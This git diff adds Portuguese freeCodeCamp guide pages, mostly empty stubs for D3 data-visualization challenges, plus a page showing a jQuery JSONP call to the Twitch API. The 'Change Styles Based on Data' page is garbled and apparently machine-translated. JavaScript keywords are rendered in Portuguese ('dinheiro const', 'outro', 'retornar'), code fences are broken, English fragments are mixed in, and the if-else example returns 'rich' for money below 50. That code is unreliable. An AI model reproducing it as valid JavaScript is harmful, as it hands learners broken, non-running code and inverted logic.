+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/take-home-projects/use-the-twitch-json-api/index.md
@@ -0,0 +1,28 @@
+---
+title: Use the Twitch JSON API
+localeTitle: Use a API JSON do Twitch
+---
+Atualização de 29 de setembro de 2016: o Twitch mudou sua API e agora exige uma chave de API para executar consultas. Se você estiver usando páginas CodePen ou GitHub para criá-las, não recomendamos adicionar uma chave de API ao seu projeto por motivos de segurança.
+
+Em vez de usar a API do Twitch, recomendamos a codificação [desse JSON](https://gist.github.com/QuincyLarson/2ff6892f948d0b7118a99264fd9c1ce8) no seu aplicativo como uma variável. É uma série de respostas para diferentes contas do Twitch.
+
+* * *
+
+Se você está tentando enfrentar este desafio com o método `$.getJSON()` do jQuery, é provável que você receba uma mensagem de erro referente ao CORS (Cross-Origin Resource Sharing).
+
+A maneira mais fácil de resolver isso é usar os recursos JSONP do jQuery. Da [página de readme](https://github.com/justintv/Twitch-API#json-p) da API do Twitch:
+
+> Todos os métodos da API suportam JSON-P, fornecendo um parâmetro de retorno de chamada com a solicitação.
+
+Também a [documentação](http://api.jquery.com/jQuery.getJSON/) do [jQuery](http://api.jquery.com/jQuery.getJSON/) declara:
+
+> Se o URL incluir a string "callback =?" (ou similar, conforme definido pela API do lado do servidor), a solicitação é tratada como JSONP.
+
+Aqui está um exemplo de chamada para buscar os dados do canal Twitch do Free Code Camp:
+```
+$.getJSON('https://api.twitch.tv/kraken/streams/freecodecamp?callback=?', function(data) { 
+  console.log(data); 
+ }); 
+```
+
+JSONP é considerado inseguro de [acordo com a Wikipedia](https://en.wikipedia.org/wiki/Cross-origin_resource_sharing#CORS_vs_JSONP) , mas deve ser suficiente para nossos propósitos. Para uma discussão detalhada sobre a restrição do CORS do Twitch, por favor leia o [número \# 133](https://github.com/justintv/Twitch-API/issues/133) no repositório do Twitch-API.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/index.md
new file mode 100644
index 0000000000..9eb04a8596
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Visualization Projects
+localeTitle: Projetos de visualização de dados
+---
+## Projetos de visualização de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md
new file mode 100644
index 0000000000..7b60feac97
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Bar Chart
+localeTitle: Visualize dados com um gráfico de barras
+---
+## Visualize dados com um gráfico de barras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md
new file mode 100644
index 0000000000..94b91afc26
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Choropleth Map
+localeTitle: Visualize dados com um mapa coroplético
+---
+## Visualize dados com um mapa coroplético
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md
new file mode 100644
index 0000000000..eabfb1280d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Heat Map
+localeTitle: Visualize dados com um mapa de calor
+---
+## Visualize dados com um mapa de calor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md
new file mode 100644
index 0000000000..17d1b509e1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Scatterplot Graph
+localeTitle: Visualize dados com um gráfico de gráfico de dispersão
+---
+## Visualize dados com um gráfico de gráfico de dispersão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md
new file mode 100644
index 0000000000..2b62c96c07
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Treemap Diagram
+localeTitle: Visualize dados com um diagrama de mapa de árvore
+---
+## Visualize dados com um diagrama de mapa de árvore
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md
new file mode 100644
index 0000000000..5b47fd4336
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Hover Effect to a D3 Element
+localeTitle: Adicionar um efeito de foco a um elemento D3
+---
+## Adicionar um efeito de foco a um elemento D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md
new file mode 100644
index 0000000000..4a449d983b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Tooltip to a D3 Element
+localeTitle: Adicionar uma dica de ferramenta a um elemento D3
+---
+## Adicionar uma dica de ferramenta a um elemento D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md
new file mode 100644
index 0000000000..3d512d2c56
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Attributes to the Circle Elements
+localeTitle: Adicionar atributos aos elementos do círculo
+---
+## Adicionar atributos aos elementos do círculo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md
new file mode 100644
index 0000000000..e0e384c6ae
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Axes to a Visualization
+localeTitle: Adicionar eixos a uma visualização
+---
+## Adicionar eixos a uma visualização
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md
new file mode 100644
index 0000000000..594eb4584a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Classes with D3
+localeTitle: Adicionar classes com D3
+---
+## Adicionar classes com D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md
new file mode 100644
index 0000000000..e159e09d61
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Document Elements with D3
+localeTitle: Adicionar elementos do documento com D3
+---
+## Adicionar elementos do documento com D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md
new file mode 100644
index 0000000000..f708510768
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Inline Styling to Elements
+localeTitle: Adicionar estilo inline aos elementos
+---
+## Adicionar estilo inline aos elementos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md
new file mode 100644
index 0000000000..d78a657480
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Labels to D3 Elements
+localeTitle: Adicionar rótulos aos elementos D3
+---
+## Adicionar rótulos aos elementos D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md
new file mode 100644
index 0000000000..c877197e26
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Labels to Scatter Plot Circles
+localeTitle: Adicionar rótulos aos círculos de plotagem de dispersão
+---
+## Adicionar rótulos aos círculos de plotagem de dispersão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/change-styles-based-on-data/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/change-styles-based-on-data/index.md
new file mode 100644
index 0000000000..a4413f3487
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/change-styles-based-on-data/index.md
@@ -0,0 +1,49 @@
+---
+title: Change Styles Based on Data
+localeTitle: Alterar estilos com base em dados
+---
+## Alterar estilos com base em dados
+
+Lembre-se mais uma vez qual é a função de callback com [este](https://codeburst.io/javascript-what-the-heck-is-a-callback-aba4da2deced)
+
+Há duas maneiras de concluir essa parte, com lógica if-else ou operador ternário.
+
+**lógica if-else**
+
+Um exemplo de [w3school](https://www.w3schools.com/js/js_if_else.asp)
+
+\`\` \`javascript
+
+dinheiro const = 50;
+
+if (dinheiro <50) {
+
+return "Eu sou rico";
+
+}
+
+outro {
+
+return "Eu sou pobre";
+
+}
+```
+What you need to remember is the bracket that the if-else logic associate with, (argument) and {statement} 
+ 
+ **Try Yourself Now**  👩‍💻👨‍💻 
+ 
+ 
+ 
+ **Ternary operator** 
+ 
+ A more detailed explanation [here](https://codeburst.io/javascript-the-conditional-ternary-operator-explained-cac7218beeff). Ternary operator is a lot more concise and quicker to remember for a simple true or false statement. Read [this](https://www.thoughtco.com/javascript-by-example-use-of-the-ternary-operator-2037394) 
+```
+
+javascript
+
+condição? valor se verdadeiro: valor se falso
+```
+For someone who still not sure here is a solution by using If-else statement 
+```
+
+javascript .style ("cor", (d) => { se (d <20) { retornar 'vermelho' } outro { retornar 'verde' } }) \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md
new file mode 100644
index 0000000000..706ac55c44
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Color of an SVG Element
+localeTitle: Alterar a cor de um elemento SVG
+---
+## Alterar a cor de um elemento SVG
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md
new file mode 100644
index 0000000000..7a6a8acedd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Presentation of a Bar Chart
+localeTitle: Alterar a apresentação de um gráfico de barras
+---
+## Alterar a apresentação de um gráfico de barras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md
new file mode 100644
index 0000000000..6f6ab49e34
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bar for Each Data Point in the Set
+localeTitle: Crie uma barra para cada ponto de dados no conjunto
+---
+## Crie uma barra para cada ponto de dados no conjunto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md
new file mode 100644
index 0000000000..fb36e935e2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Linear Scale with D3
+localeTitle: Crie uma escala linear com D3
+---
+## Crie uma escala linear com D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md
new file mode 100644
index 0000000000..bba72b79e0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Scatterplot with SVG Circles
+localeTitle: Criar um gráfico de dispersão com círculos SVG
+---
+## Criar um gráfico de dispersão com círculos SVG
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md
new file mode 100644
index 0000000000..0d18739081
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md
@@ -0,0 +1,9 @@
+---
+title: Display Shapes with SVG
+localeTitle: Exibir formas com SVG
+---
+## Exibir formas com SVG
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md
new file mode 100644
index 0000000000..315d7464f0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md
@@ -0,0 +1,9 @@
+---
+title: Dynamically Change the Height of Each Bar
+localeTitle: Alterar dinamicamente a altura de cada barra
+---
+## Alterar dinamicamente a altura de cada barra
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md
new file mode 100644
index 0000000000..034d7b18d9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md
@@ -0,0 +1,9 @@
+---
+title: Dynamically Set the Coordinates for Each Bar
+localeTitle: Definir dinamicamente as coordenadas para cada barra
+---
+## Definir dinamicamente as coordenadas para cada barra
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/index.md
new file mode 100644
index 0000000000..48d53ff421
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Visualization with D3
+localeTitle: Visualização de dados com D3
+---
+## Visualização de dados com D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md
new file mode 100644
index 0000000000..fc4b8fe21e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Invert SVG Elements
+localeTitle: Inverter elementos SVG
+---
+## Inverter elementos SVG
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md
new file mode 100644
index 0000000000..fc3b79ed78
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn About SVG in D3
+localeTitle: Aprenda sobre o SVG no D3
+---
+## Aprenda sobre o SVG no D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md
new file mode 100644
index 0000000000..1905ec315e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Select a Group of Elements with D3
+localeTitle: Selecione um grupo de elementos com D3
+---
+## Selecione um grupo de elementos com D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md
new file mode 100644
index 0000000000..c37225a336
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md
@@ -0,0 +1,9 @@
+---
+title: Set a Domain and a Range on a Scale
+localeTitle: Definir um domínio e um intervalo em escala
+---
+## Definir um domínio e um intervalo em escala
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md
new file mode 100644
index 0000000000..bbfe22d229
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md
@@ -0,0 +1,9 @@
+---
+title: Style D3 Labels
+localeTitle: Etiquetas do estilo D3
+---
+## Etiquetas do estilo D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
